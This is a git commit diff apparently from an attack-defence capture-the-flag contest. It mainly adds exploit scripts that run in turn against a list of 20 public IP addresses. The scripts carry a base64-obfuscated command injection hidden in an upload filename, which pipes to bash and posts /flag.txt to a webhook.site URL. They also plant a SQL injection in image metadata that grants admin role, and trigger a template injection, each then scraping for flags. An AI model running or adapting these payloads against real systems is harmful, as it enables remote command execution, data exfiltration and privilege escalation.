This commit is contained in:
Rayhan Hanaputra committed 2025-10-26 18:58:38 +07:00
commit 3bd5a4270b
13 files changed
+269 -36

No files matched your search

-11
View File
@@ -136,7 +136,6 @@ class Carbeat(Challenge):
proc = self._spawn() proc = self._spawn()
self.logger.info("[1] process spawned ✅") self.logger.info("[1] process spawned ✅")
# Wait for initial menu to appear with longer timeout
self._read_until(proc, "> ", timeout=10.0) self._read_until(proc, "> ", timeout=10.0)
self.logger.info("[1.5] initial menu appeared ✅") self.logger.info("[1.5] initial menu appeared ✅")
@@ -176,16 +175,6 @@ class Carbeat(Challenge):
raise AssertionError("Program did not exit after exit command") raise AssertionError("Program did not exit after exit command")
self.logger.info("[ok] service exit on exit command") self.logger.info("[ok] service exit on exit command")
# Skip alarm test during SLA checks (takes 180+ seconds)
# proc_alarm = self._spawn()
# self._read_until(proc_alarm, "zzz", timeout=190.0) # 180s + slack
# try:
# proc_alarm.wait(timeout=5.0)
# except subprocess.TimeoutExpired:
# proc_alarm.kill()
# raise AssertionError("Alarm fired but process did not exit")
# self.logger.info("[ok] alarm fired ('zzz') and process self-terminated")
self.logger.info('Check passed for carbeat') self.logger.info('Check passed for carbeat')
return True return True
@@ -0,0 +1,4 @@
### Patching Rule?
- dont remove flag.txt/changes its content
- ensure image metadata generation still available and ensure exiftool still used
- the generated metadata persist in the post must exist
+3 -2
View File
@@ -4,7 +4,7 @@ from pathlib import Path
import random import random
import string import string
HOST = "http://localhost:4400" HOST = "http://54.179.69.160:10000"
REGISTER_URL = HOST + "/register" REGISTER_URL = HOST + "/register"
LOGIN_URL = HOST + "/login" LOGIN_URL = HOST + "/login"
CREATE_URL = HOST + "/create" CREATE_URL = HOST + "/create"
@@ -19,7 +19,7 @@ def generate_random_string(length=8):
USERNAME = generate_random_string() USERNAME = generate_random_string()
PASSWORD = generate_random_string() PASSWORD = generate_random_string()
# choose payload variant: either use subshell $() or backticks `...` # choose payload variant: either use subshell $() or backticks `...`
filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hMmJlOTU2NS0zZGZhLTRjZmEtODAyYy01NDk4NTI5ZTViMGYnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg" filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hNDM1ZDdhZS02ZDIzLTQwY2ItYTllNy00ZjgwMzk2YzYwNWMnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg"
# choose which to use: # choose which to use:
filename_payload = filename_payload # or payload_backticks filename_payload = filename_payload # or payload_backticks
@@ -33,6 +33,7 @@ if r.status_code != 200:
exit(1) exit(1)
else: else:
print(f"Registered user: {USERNAME}") print(f"Registered user: {USERNAME}")
print(f"Registered PASSWORD: {PASSWORD}")
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD}) r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
if r.status_code != 200: if r.status_code != 200:
+3 -2
View File
@@ -7,7 +7,7 @@ from pathlib import Path
print("SQLi (VULN 2) Exploit") print("SQLi (VULN 2) Exploit")
HOST = "http://localhost:4400" HOST = "http://54.179.69.160:10000"
REGISTER_URL = HOST + "/register" REGISTER_URL = HOST + "/register"
LOGIN_URL = HOST + "/login" LOGIN_URL = HOST + "/login"
CREATE_URL = HOST + "/create" CREATE_URL = HOST + "/create"
@@ -46,6 +46,7 @@ if r.status_code != 200:
exit(1) exit(1)
else: else:
print(f"Registered user: {USERNAME}") print(f"Registered user: {USERNAME}")
print(f"Registered PASSWORD: {PASSWORD}")
# 3) Login with the new user # 3) Login with the new user
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD}) r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
@@ -86,7 +87,7 @@ else:
# 6) Visit the profile page and search for the flag # 6) Visit the profile page and search for the flag
r = s.get(PROFILE_URL) r = s.get(PROFILE_URL)
print("Profile page status:", r.status_code) print("Profile page status:", r.status_code)
flag_pattern = r"GEMASTIK\{.*?\}" flag_pattern = r"GEMASTIK18\{.*?\}"
flag = re.search(flag_pattern, r.text) flag = re.search(flag_pattern, r.text)
if flag: if flag:
print("Flag found:", flag.group(0)) print("Flag found:", flag.group(0))
+133
View File
@@ -0,0 +1,133 @@
#!/usr/bin/env python3
import requests
import random
import string
import re
import subprocess
from pathlib import Path
# List of server IPs to test
SERVERS = [
"54.179.69.160", "47.128.239.219", "18.141.25.211", "13.250.48.226",
"52.221.249.62", "52.221.188.80", "13.213.42.191", "54.169.118.58",
"18.141.209.30", "54.169.155.68", "3.0.177.253", "13.250.47.208",
"47.129.37.150", "3.1.222.146", "13.229.198.100", "54.151.150.157",
"13.229.207.1", "18.136.107.63", "52.77.233.125", "18.141.184.213"
]
PORT = "10000"
# Generate random username and password
def generate_random_string(length=8):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
# Command injection payload
CMD_PAYLOAD = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hNDM1ZDdhZS02ZDIzLTQwY2ItYTllNy00ZjgwMzk2YzYwNWMnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg"
# SQLi payload
SQLI_PAYLOAD = "a'; UPDATE users SET role='admin' WHERE username='{}';--"
# Local image files
CMD_IMAGE = "test.png" # For command injection
SQLI_IMAGE = "sqli.png" # For SQLi
def exploit_server(host):
print(f"\nTesting server: {host}")
BASE_URL = f"http://{host}:{PORT}"
REGISTER_URL = BASE_URL + "/register"
LOGIN_URL = BASE_URL + "/login"
CREATE_URL = BASE_URL + "/create"
HOME_URL = BASE_URL + "/"
PROFILE_URL = BASE_URL + "/profile"
# Generate credentials
USERNAME = generate_random_string()
PASSWORD = generate_random_string()
print(f"Generated credentials: Username={USERNAME}, Password={PASSWORD}")
s = requests.Session()
# Step 1: Register a new user
r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD})
if r.status_code != 200:
print(f"Registration failed on {host}. Status: {r.status_code}")
return False
print(f"Registered user: {USERNAME}")
# Step 2: Log in
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
if r.status_code != 200:
print(f"Login failed on {host}. Status: {r.status_code}")
return False
print(f"Logged in. Cookies: {s.cookies.get_dict()}")
# Step 3: Command injection via filename
cmd_img_path = Path(CMD_IMAGE)
if not cmd_img_path.exists():
print(f"Command injection image {CMD_IMAGE} not found")
return False
with open(cmd_img_path, "rb") as fh:
files = {"image": (CMD_PAYLOAD, fh, "image/jpeg")}
data = {"title": "Command Injection Payload", "content": "CTF attempt"}
r = s.post(CREATE_URL, data=data, files=files)
print(f"Command injection upload status on {host}: {r.status_code}")
print(f"Upload response: {r.text[:800]}")
# Step 4: SQL injection via image metadata
sqli_img_path = Path(SQLI_IMAGE)
if not sqli_img_path.exists():
print(f"SQLi image {SQLI_IMAGE} not found")
return False
try:
subprocess.run([
"exiftool",
"-overwrite_original",
f"-Comment={SQLI_PAYLOAD.format(USERNAME)}",
SQLI_IMAGE
], check=True)
print(f"Modified {SQLI_IMAGE} with SQLi payload")
except subprocess.CalledProcessError as e:
print(f"Failed to modify {SQLI_IMAGE} with exiftool: {e}")
return False
with open(sqli_img_path, "rb") as fh:
files = {"image": (SQLI_IMAGE, fh, "image/png")}
data = {"title": "SQLi Exploit", "content": "Testing SQLi payload"}
r = s.post(CREATE_URL, data=data, files=files)
print(f"SQLi upload status on {host}: {r.status_code}")
# Step 5: Get home page to find newest post ID
r = s.get(HOME_URL)
print(f"Home page status on {host}: {r.status_code}")
post_ids = re.findall(r'/post/(\d+)', r.text)
if post_ids:
max_id = max(map(int, post_ids))
print(f"Newest post ID: {max_id}")
else:
print(f"No post IDs found on {host}")
return False
# Step 6: Check profile for flag
r = s.get(PROFILE_URL)
print(f"Profile page status on {host}: {r.status_code}")
flag_pattern = r"GEMASTIK18\{.*?\}"
flag = re.search(flag_pattern, r.text)
if flag:
print(f"Flag found on {host}: {flag.group(0)}")
return True
else:
print(f"Flag not found on {host}")
return False
def main():
print("Starting CTF Exploit")
for host in SERVERS:
success = exploit_server(host)
if success:
print(f"Exploit succeeded on {host}")
else:
print(f"Exploit failed on {host}")
if __name__ == "__main__":
main()
Binary file not shown.

Before

Width:  |  Height:  |  Size: 1012 KiB

After

Width:  |  Height:  |  Size: 1012 KiB

+4
View File
@@ -0,0 +1,4 @@
### Patching Rule?
- dont remove flag.txt/changes its content
- ensure image metadata generation still available and ensure exiftool still used
- the generated metadata persist in the post must exist
+3 -3
View File
@@ -7,13 +7,13 @@ import requests
print("SSTI (Vuln) Exploit — fixed HOST env, redirects, timeouts") print("SSTI (Vuln) Exploit — fixed HOST env, redirects, timeouts")
HOST = "http://localhost:4500" HOST = "http://54.179.69.160:12000"
REGISTER_URL = f"{HOST}/register" REGISTER_URL = f"{HOST}/register"
LOGIN_URL = f"{HOST}/login" LOGIN_URL = f"{HOST}/login"
UPLOAD_URL = f"{HOST}/upload" UPLOAD_URL = f"{HOST}/upload"
HOME_URL = f"{HOST}/" HOME_URL = f"{HOST}/"
TIMEOUT = float(os.environ.get("TIMEOUT", "1")) # detik TIMEOUT = float(os.environ.get("TIMEOUT", "5")) # detik
def rnd(n=8): def rnd(n=8):
alpha = string.ascii_lowercase + string.digits alpha = string.ascii_lowercase + string.digits
@@ -83,7 +83,7 @@ print(f"[+] Newest post: {post_url}")
# 5) Trigger SSTI dan cari flag # 5) Trigger SSTI dan cari flag
r = s.get(post_url, timeout=TIMEOUT) r = s.get(post_url, timeout=TIMEOUT)
print(f"[i] Post -> {r.status_code}") print(f"[i] Post -> {r.status_code}")
m = re.search(r"GEMASTIK\{[^}]*\}", r.text) m = re.search(r"GEMASTIK18\{[^}]*\}", r.text)
if m: if m:
print("[+] Flag:", m.group(0)) print("[+] Flag:", m.group(0))
else: else:
+115
View File
@@ -0,0 +1,115 @@
import os
import re
import random
import string
from pathlib import Path
import requests
print("SSTI (Vuln) Exploit — Testing Multiple Hosts")
# List of IP addresses to test
HOSTS = [
"54.179.69.160", "47.128.239.219", "18.141.25.211", "13.250.48.226",
"52.221.249.62", "52.221.188.80", "13.213.42.191", "54.169.118.58",
"18.141.209.30", "54.169.155.68", "3.0.177.253", "13.250.47.208",
"47.129.37.150", "3.1.222.146", "13.229.198.100", "54.151.150.157",
"13.229.207.1", "18.136.107.63", "52.77.233.125", "18.141.184.213"
]
PORT = "12000"
TIMEOUT = float(os.environ.get("TIMEOUT", "5")) # seconds
def rnd(n=8):
alpha = string.ascii_lowercase + string.digits
return ''.join(random.choices(alpha, k=n))
def ok_or_redirect(resp):
return 200 <= resp.status_code < 400
def test_host(host):
print(f"\n[+] Testing host: {host}")
HOST = f"http://{host}:{PORT}"
REGISTER_URL = f"{HOST}/register"
LOGIN_URL = f"{HOST}/login"
UPLOAD_URL = f"{HOST}/upload"
HOME_URL = f"{HOST}/"
USERNAME = rnd()
PASSWORD = rnd()
LOCAL_IMAGE = os.environ.get("IMG", "ssti.png") # PNG with Jinja payload in metadata
s = requests.Session()
s.headers.update({"User-Agent": "ssti-exp/1.0"})
try:
# 1) Register
r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD},
allow_redirects=True, timeout=TIMEOUT)
print(f"[i] Register -> {r.status_code} | redirected={bool(r.history)}")
if not ok_or_redirect(r):
print("[x] Registration failed")
return False
print(f"[+] Registered: {USERNAME}:{PASSWORD}")
# 2) Login
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD},
allow_redirects=True, timeout=TIMEOUT)
print(f"[i] Login -> {r.status_code} | redirected={bool(r.history)}")
if not ok_or_redirect(r):
print("[x] Login failed")
return False
print("[+] Logged in")
# 3) Upload image
img_path = Path(LOCAL_IMAGE)
if not img_path.exists():
print(f"[x] Local image not found: {LOCAL_IMAGE}")
return False
with img_path.open("rb") as fh:
files = {"image": (img_path.name, fh, "image/png")}
data = {"title": "SSTI Exploit"}
r = s.post(UPLOAD_URL, data=data, files=files,
allow_redirects=True, timeout=TIMEOUT)
print(f"[i] Upload -> {r.status_code} | redirected={bool(r.history)}")
if not ok_or_redirect(r):
print("[x] Upload failed")
return False
print("[+] Upload complete")
# 4) Get latest post ID
r = s.get(HOME_URL, timeout=TIMEOUT)
print(f"[i] Home -> {r.status_code}")
if r.status_code != 200:
print("[x] Failed to load home")
return False
post_ids = re.findall(r'/post/(\d+)', r.text)
if not post_ids:
print("[-] No posts found on home.")
return False
pid = max(map(int, post_ids))
post_url = f"{HOST}/post/{pid}"
print(f"[+] Newest post: {post_url}")
# 5) Trigger SSTI and find flag
r = s.get(post_url, timeout=TIMEOUT)
print(f"[i] Post -> {r.status_code}")
m = re.search(r"GEMASTIK18\{[^}]*\}", r.text)
if m:
print(f"[+] Flag found on {host}: {m.group(0)}")
return True
else:
print("[-] Flag not found in response.")
print(r.text[:1200])
return False
except requests.exceptions.RequestException as e:
print(f"[x] Error testing {host}: {e}")
return False
# Test all hosts
for i, host in enumerate(HOSTS, 1):
print(f"\n=== Testing Group {i}: {host} ===")
test_host(host)
Binary file not shown.

Before

Width:  |  Height:  |  Size: 1012 KiB

After

Width:  |  Height:  |  Size: 1012 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1012 KiB

After

Width:  |  Height:  |  Size: 1012 KiB

+2 -9
View File
@@ -3,12 +3,11 @@
import os import os
import binascii import binascii
import hashlib import hashlib
import threading import signal
import time
import sys
from Crypto.Cipher import AES from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad from Crypto.Util.Padding import pad, unpad
signal.alarm(50)
seed_bits = 23 seed_bits = 23
seed_max = 1 << seed_bits seed_max = 1 << seed_bits
seed_len = (seed_bits + 7) // 8 seed_len = (seed_bits + 7) // 8
@@ -58,12 +57,6 @@ third = 0
iv11 = None iv11 = None
iv22 = None iv22 = None
def alarm():
time.sleep(180)
print("zzz")
sys.exit(0)
threading.Thread(target=alarm, daemon=True).start()
while True: while True:
menu() menu()
+2 -9
View File
@@ -3,12 +3,11 @@
import os import os
import binascii import binascii
import hashlib import hashlib
import threading import signal
import time
import sys
from Crypto.Cipher import AES from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad from Crypto.Util.Padding import pad, unpad
signal.alarm(50)
seed_bits = 23 seed_bits = 23
seed_max = 1 << seed_bits seed_max = 1 << seed_bits
seed_len = (seed_bits + 7) // 8 seed_len = (seed_bits + 7) // 8
@@ -58,12 +57,6 @@ third = 0
iv11 = None iv11 = None
iv22 = None iv22 = None
def alarm():
time.sleep(180)
print("zzz")
sys.exit(0)
threading.Thread(target=alarm, daemon=True).start()
while True: while True:
menu() menu()